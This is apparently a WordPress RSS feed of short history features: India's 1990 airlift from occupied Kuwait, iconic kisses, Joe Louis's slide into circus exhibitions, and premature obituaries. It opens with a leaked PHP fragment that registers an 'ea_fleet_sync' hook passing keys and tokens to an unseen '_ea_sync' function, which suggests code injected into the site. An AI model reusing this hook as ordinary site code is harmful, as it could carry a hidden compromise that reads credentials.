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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); History&#039s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 05 Dec 2018 16:31:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png History&#039s – Brief News https://briefnews.eu 32 32 Escaping Occupied Kuwait: History's Largest Air Evacuation https://briefnews.eu/escaping-occupied-kuwait-historys-largest-air-evacuation/ https://briefnews.eu/escaping-occupied-kuwait-historys-largest-air-evacuation/#respond Wed, 05 Dec 2018 16:31:24 +0000 http://briefnews.eu/escaping-occupied-kuwait-historys-largest-air-evacuation/

Eight-year-old Viju Cherian went to sleep in Kuwait City on Aug. 1, 1990, excited about a friend’s birthday party the next day. By the time he woke up the next morning, though, the party had been called off. Kuwait was under occupation, and the only people celebrating were Iraqi soldiers, young men in olive fatigues who were part of Saddam Hussein’s invading army. U.S.-led coalition forces would free Kuwait six months later in a show of America’s unmatched military might. Before that, however, Cherian would play a part in another unparalleled feat: the largest air evacuation in history.

Cherian and his family were among more than 176,000 Indian nationals trapped in Kuwait at the time of the invasion. The Kuwaiti royal family and government were in exile. The U.N., through Security Council resolutions, had barred all commercial trade and connectivity with Iraq and Kuwait, so escape appeared impossible. In parking lots throughout Kuwait City, Saddam’s soldiers were breaking into and stealing cars. “The Toyota Corolla was their favorite,” Cherian recalls.

With war clouds gathering, a wobbly Indian government cobbled together by multiple parties somehow managed to turn Kuwait into ground zero for what the Guinness World Records heralds as the biggest human airlift of all time. It was a diplomatic coup: pleading with Iraq while absorbing caustic reactions from Kuwait’s exiled government, not to mention the embarrassment of images showing India’s foreign minister in Baghdad embracing Saddam to persuade him to agree to the evacuation.

This gave us the confidence to do such evacuations again.

Kalarickal Pranchu Fabian, former Indian diplomat

In the end, though, India successfully transported its citizens from Kuwait to Amman, Jordan, cutting through Iraq, and flew them home to safety before war broke out. It was a two-month-long operation that would become a template for smaller but no less dangerous Indian rescue missions, from an Islamic State–controlled Iraq, civil war–torn Libya and a chaotic Yemen.

“This gave us the confidence to do such evacuations again,” says Kalarickal Pranchu Fabian, the now retired Indian diplomat who coordinated the 1990 rescue mission.

Like Cherian, Fabian vividly remembers the moment he learned that Iraq had invaded Kuwait. Early in the morning of Aug. 2, he received a call from friends in Kuwait who worked for an international agency saying they’d seen Iraqi vehicles rolling into Kuwait’s capital. The same day Kuwait’s ruler, Sheikh Jaber al-Ahmad al-Jaber al-Sabah, fled to Saudi Arabia with senior members of his government.

Most countries responded as one — with vehement condemnation — but India was in a quandary. On the one hand, the majority of its Arab friends were staunch critics of the invasion; on the other hand, a sizable Indian population was effectively being held hostage. Chinmaya Gharekhan, India’s permanent representative to the U.N., advocated joining the rest of the world to “condemn” the invasion, but the government pointedly chose the softer “deplore” to describe its reaction. “Our main concern was the safety of our people, and whether it was possible to get Iraq out of Kuwait through negotiations,” says Fabian, who would later serve as ambassador in Qatar and Italy.

But Kuwait had other priorities. When India’s then foreign minister, Inder Kumar Gujral, visited New York for the U.N. General Assembly in September, he told Kuwait’s exiled foreign minister, Sheikh Sabah al-Ahmed, that “we are 110 percent with Kuwait,” recalls Gharekhan. Sheikh Sabah responded curtly: “Excellency, 100 percent would do … we only want the great nation of India to condemn.”

But by then, India was profiting from its approach toward Saddam. On Aug. 20, Gujral had flown to Baghdad, where he met Iraq’s foreign minister, Tariq Aziz, and, two days later, Saddam. The Iraqi leader wore his “traditional khaki uniform with a gun in his holster,” Gujral recalls in his autobiography, Matters of Discretion. “He hugged me when I went to greet him.” That image, broadcast internationally, instantly put India on the defensive with other partners, but Fabian argues that Gujral didn’t have much choice. “When your host wants to embrace you,” he insists, “you can’t avoid it.”

Either way, Saddam agreed to the evacuation — except that U.N. sanctions made it impossible for India to send planes into Kuwait or Iraq. The 176,000 evacuees would have to cross two borders before reaching an aircraft.

Locking the door to their Kuwait City apartment behind them, the Cherian family joined the flood of fellow Indians streaming onto buses that headed first to a border city, and then into Iraq. After passing through multiple checkpoints, Cherian says they reached Baghdad for an overnight halt. The buses then brought them to a desert camp where they spent another night. The next day, they were driven to a patch of “no-man’s-land” between Iraq and Jordan, where they stayed at U.N. refugee camps, before they were finally transported into Jordan and straight to Amman airport. Cherian describes the night at the airport as the “most chaotic” of the entire ordeal — he and his family had to cross a 4,000-kilometer “air bridge” to safety that Air India had built. Over 63 days, the national airline dispatched 488 evacuation flights from Amman to Mumbai, free of cost to passengers, plucking out the trapped citizens.

By Oct. 20, the operation was complete — and the next month the Indian government collapsed. But the airlift birthed a legacy that survives in Kuwait today. When the Gulf War ended, thousands of Indians returned to Kuwait, including Cherian’s parents. Many went back because their livelihoods depended on it. But for some, there was also a sense that Indian diplomacy had their back, says Cherian. Today, 800,000 Indians make up 20 percent of Kuwait’s population. They are Kuwait’s largest expatriate group. And they’re not going anywhere.

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Whether your favourite kiss is the one from Gone With the Wind or that wedding day tender kiss between Prince William and Kate Middleton, we all know of an iconic peck or racy snog that captured the world’s imagination.

There is now even a national day to celebrate the act for couples and lovers around the globe.

What is International Kissing Day? When is it?

The 12th annual smoochathon takes place on June 23, 2018.

This year will be the 12th such event after it was introduced in 2006.

In 2016, the most kissable British Man was awarded to 50 Shades of Grey heartthrob Jamie Dornan.

Kate Beckinsale, of the Underworld film series fame, took the gong for Most Kissable British Female.

What are the most famous kisses from history?

Several kisses have attained iconic status today, whether they be from real-life events, art or cinema.

Prince William and Kate Middleton, Buckingham Palace, 2011

The nation hurrahed when a newly-wed and shared a tender kiss on the balcony of Buckingham Palace following their wedding in 2011.

The moment was witnessed by crowds of 500,000 and tens of millions around the world.

The pair event went in for a second one that lasted longer with William remarking: “One more kiss? Go on, come here!”

Scarlett O’Hara and Rhett Butler in Gone With The Wind

Telling his onscreen love “You need kissing badly”, Rhett Butler moves in to passionately kiss Scarlett O’Hara, the fictional Southern belle in one of cinema’s most iconic scenes.

V-J Day in Times Square, 1945 by Alfred Eisenstaedt

One of the most famous ones is the V-J Day in Times Square, 1945 by Alfred Eisenstaedt.

It captured a sailor passionately kissing a nurse in Times Square in celebration of the end of World War II.

Couple caught up in Vancouver Riots by Rich Lam

It was a heartwarming moment in an otherwise ugly night of violence on the streets.

Scott Jones, from Perth, was caught locked in a kiss on the floor with his girlfriend Alexandra Thomas during the Vancouver riots in 2011.

Mr Jones says he made the move to calm his girlfriend in frightening scenes between police and people after ice hockey fans rioted following their city’s defeat in the Stanley Cup Final.

What are other iconic kisses?

The Kiss (Lovers), 1907/08 oil painting by Gustav Klimt

The Kiss (Rodin sculpture) 1882 marble sculpture by Auguste Rodin

Kissing Coppers by Banksy, 2004

Madonna and Britney, 2003 MTV Video Music Awards

Prince Charles and Princess Diana on their wedding day in 1981

Lady and the Tramp’s kiss in the eponymous animated film from 1955

Sgt Warden (Burt Lancaster) shares a passionate beach kiss with his captain’s wife Karen Holmes (Deborah Kerr), 1953

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]]> https://briefnews.eu/international-kissing-day-2018-what-is-it-about-and-when-is-it-historys-famous-kisses/feed/ 0 How History's Greatest Boxer Ended up in a Circus Ring https://briefnews.eu/how-historys-greatest-boxer-ended-up-in-a-circus-ring/ https://briefnews.eu/how-historys-greatest-boxer-ended-up-in-a-circus-ring/#respond Thu, 20 Apr 2017 19:41:24 +0000 http://briefnews.eu/how-historys-greatest-boxer-ended-up-in-a-circus-ring/ “Stay away, Joe! Stay away, Joe!” screamed ringside observers and fans of Joe Louis, whose collapse in the 14th round appeared imminent. Moments before, his younger opponent, Ezzard Charles, landed a right cross followed by a right uppercut that initiated Louis’ instinctive retreat. “His eyes went slightly glazy on that one as if he were tired,” the commentator remarked as Louis hugged Charles, trying to slow his opponent’s punches.

Louis survived that round and, as a cruel reward, earned himself three more minutes of punishment. Boxing historian and host of Knuckles and Gloves podcast Patrick Connor describes Louis as someone who became “perhaps the most powerful man in the world.” But that was in the pugilist’s prime; by 1950, when he faced Charles, Louis was well on his way to becoming “another fighter gobbled up by the most wicked of sports,” Connor says.

Louis was no longer the same “Brown Bomber” who rose from the poverty of Alabama’s cotton fields and Detroit’s Black Bottom …

The judges scored the fight unanimously for Charles, and as Louis’ cornermen wiped blood from his face and placed a robe on his back, they looked despondent. Louis was no longer the same “Brown Bomber” who rose from the poverty of Alabama’s cotton fields and Detroit’s Black Bottom — part of the Great Migration — to become a national hero. With World War II as a backdrop, his fights against Italian Primo Carnera and German Max Schmeling became symbols of something greater — metaphors for democracy’s fight against fascism in “the good war.” But those had been different times, and Louis, along with everyone around him, knew it. In fact, Louis needed money so badly that he had joined the circus.

Professional boxing is a wretched way to make a living, even for the best fighters. When age begins blunting the reflexes, the already high level of danger increases. The emotional toll, unsurprisingly, is hard on the athletes as well as their loved ones. In Louis’ case, his mother, Lillie, worried about her son’s health as he continued boxing on the downside of age 30. When Louis joined the circus, the Chicago Tribune described Lillie as “the happiest woman in the world.” “Now I can stop fretting,” she said, noting how her son’s gifting her a home “isn’t as nice a present as [Joe] … not fighting again.”

Joe Louis

But Louis didn’t pull all his punches. As he toured with the Dailey Bros.’ Circus in 1950, he put on boxing exhibitions as he had during World War II. While in the Army, Louis traveled more than 21,000 miles, entertaining 2 million soldiers with nearly 100 exhibitions. These were controlled fights, free of danger, that offered fans a chance to see, up close, the great Joe Louis do his thing. From Canada to Texas and into South America, Louis mimicked punches and feints for circusgoers, moves that, in earlier years, had relegated his opponents to the “Bum of the Month” club, a list of those he’d beaten during his 12-year reign as world heavyweight champion.

Even with the circus paying him $ 1,000 a day, it was not enough for the deeply indebted Louis. Poor money management and failed investments pushed him into the red. He also owed back taxes to Uncle Sam, including IRS penalties linked to disallowed deductions he claimed from buying tickets for soldiers to attend his exhibitions.In a New York Times article on his economic difficulties, Louis noted, “I made $ 5 million … and wound up broke, owing the government a million.” Like many pugilists, Louis returned to professional boxing because he couldn’t afford the luxury of retiring, even to circus events. His spending ways didn’t help matters, Connor says, but it was Louis’ “tax debt [that] spurred on his comeback and the punishment he absorbed during it.” Risking his health, Louis fought on, never seeing most of the money he earned.

Joe Louis

A year after fighting Charles — who also could not afford to stop fighting and would eventually suffer from amyotrophic lateral sclerosis, aka Lou Gehrig’s disease — Louis again retired from boxing, following his loss to Rocky Marciano. After that bout, Louis wondered whether the loss jeopardized his plans for another boxing exhibition tour, telling the Montreal Gazette, “I don’t know whether the party will want me anymore.” As boxing exhibitions became a less believable option, he joined the wrestling circuit.

Two decades later, when he wasn’t working as official greeter at Caesars Palace in Las Vegas — “a roulette table ornament,” as Connor calls him — Louis also wrestled to bring in extra money. One August night, according to the Los Angeles Times, the 59-year-old was set to referee the main event and was having a quiet moment in the locker room when a man ran toward him with his young son in tow. “I want you to meet Joe Louis, champion of the world,” the father told his 10-year-old son.

Joe Louis

Louis died April 12, 1981, of a massive heart attack. Lewis Erenberg, author of The Greatest Fight of Our Generation: Louis vs. Schmeling, described Louis as someone whose “body had atrophied, his fortune had disappeared and his fame had dwindled.” Max Schmeling — who after the war had become a wealthy Coca-Cola executive — helped pay for his former opponent’s funeral.

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Revealed: History’s long line of premature death announcements

Abe Vigoda 

The Godfather actor with the distinctive deep-set eyes was referred to as “the late Abe Vigoda” in 1982 by People Magazine – and spent the rest of his career trying to persuade people he was still alive. On one occasion his agent even fielded a call from a Hollywood producer looking for “an Abe Vigoda type”. 

The actor himself issued the classiest of life-affirming statements: taking out a full-page ad in Variety showing him sitting in a coffin holding up a copy of the offending magazine. 

Mark Twain 

Surely the most famous response to an early obit came from the Huckleberry Finn author, who, after hearing in 1897 that journalists were pronouncing him deceased, wrote in the New York Journal: “The report of my death was an exaggeration.” Lightning struck twice for Twain: 10 years later the New York Times reported him lost at sea. He responded by writing an article celebrating his survival for the following day’s paper. 

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Ernest Hemingway rejoiced in his own death

Marcus Garvey 

In perhaps the only example of an obituary itself proving fatal for its subject, political campaigner Garvey survived a stroke in 1940 aged 52 – but as he recovered was shocked to read a copy of the Chicago Defender which carried the headline Marcus Garvey Dies In London. 

The article went on to declare that he had passed away “broke, alone and unpopular”. So upset was Garvey by the obituary he promptly suffered a second stroke and died for real. 

Ernest Hemingway 

In 1954 the hard-living American novelist was lucky to survive a plane crash – so lucky in fact that many newspapers assumed he hadn’t and so published reports of his death. But far from being offended Hemingway is said to have collected the obituaries into a scrapbook, which he would read with a glass of champagne every morning. 

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Nobel actually made his fortune through his invention of dynamite

Alfred Nobel

Now remembered for lending his name to the world’s most famous peace prize, Nobel actually made his fortune through his invention of dynamite. 

It took a premature obituary in 1888 – after newspapers confused Alfred with recently deceased brother Ludwig – to bring about the change of heart. 

So distressed was he by the headline The Merchant Of Death Is Dead and the assertion that he “became rich by finding ways to kill more people faster than ever before”, that he subsequently bequeathed the bulk of his estate to the founding of the Nobel Prize – in the hope that future obits would be kinder. 

Dave Swarbrick 

The legendary folk musician and stalwart of Fairport Convention died last year – some 17 years after the Daily Telegraph declared him dead in a lengthy obituary published after he had been admitted to hospital in Coventry with emphysema.

According to the fiddle player’s wife Jill: “He read the obituary and didn’t quarrel with any of the spellings or facts – apart from the obvious one.” Swarbrick was to return to the stage, often autographing copies of the obit, and telling fans after a poor reception in a certain West Midlands city: “It’s not the first time I’ve died in Coventry.” 

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Pictures from the funeral service of Baroness Margaret Thatcher, held at St Paul’s Cathedral in London

Margaret Thatcher's coffin is loaded into a hearse at St Paul's Cathedral to be taken to Mortlake for a private cremation

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Margaret Thatcher’s coffin is loaded into a hearse at St Paul’s Cathedral to be taken to Mortlake for a private cremation

Samuel Taylor Coleridge 

In 1816 a man was found hanged in Hyde Park wearing a shirt marked “ST Coleridge”. Naturally the press assumed it was the famous poet – a fact only discovered by the real Coleridge when he overheard a man in a hotel lobby reading the report of the coroner’s inquest. 

“It was very extraordinary that Coleridge should have hanged himself just after the success of his play,” the man said. “But he always was a strange mad fellow.” Coleridge replied with impeccable politeness: “Most extraordinary… that he should at this moment be speaking to you.” 

Rudyard Kipling 

It is fitting that one of our greatest writers should have a typically withering response to his own prematurely published obituary. When Kipling heard that The Strand magazine had jumped the gun on reporting his passing in 1936, he wrote them a letter: “I’ve just read that I am dead. Don’t forget to delete me from your list of subscribers.” 

Steve Jobs 

In 2008 the Bloomberg news service went to town on its reporting of Steve Jobs’ death – with no fewer than 17 pages of obituary dedicated to the Apple founder. The only problem was, he was to live for another three years. To be fair to Bloomberg, they at least didn’t resort to making up facts. They reported the cause as “XXXX” and his age as “TK” – journalist slang for “to come”. The obit was quickly retracted with Bloomberg describing it as “incomplete”. 

Baroness Thatcher 

In 2009 a text from Canadian transport minister John Baird nearly caused a diplomatic incident. “Thatcher is dead,” it read.

The Canadian prime minister’s office immediately prepared a statement on the passing of the British stateswoman – and both Buckingham Palace and 10 Downing Street were duly called with offers of condolence. 

However, after the most cursory of checks the Canadian PM was reassured the Iron Lady was still very much in the land of the living… and further investigation revealed that the Thatcher in question was in fact Mr Baird’s beloved cat named in her honour that had sadly passed away.

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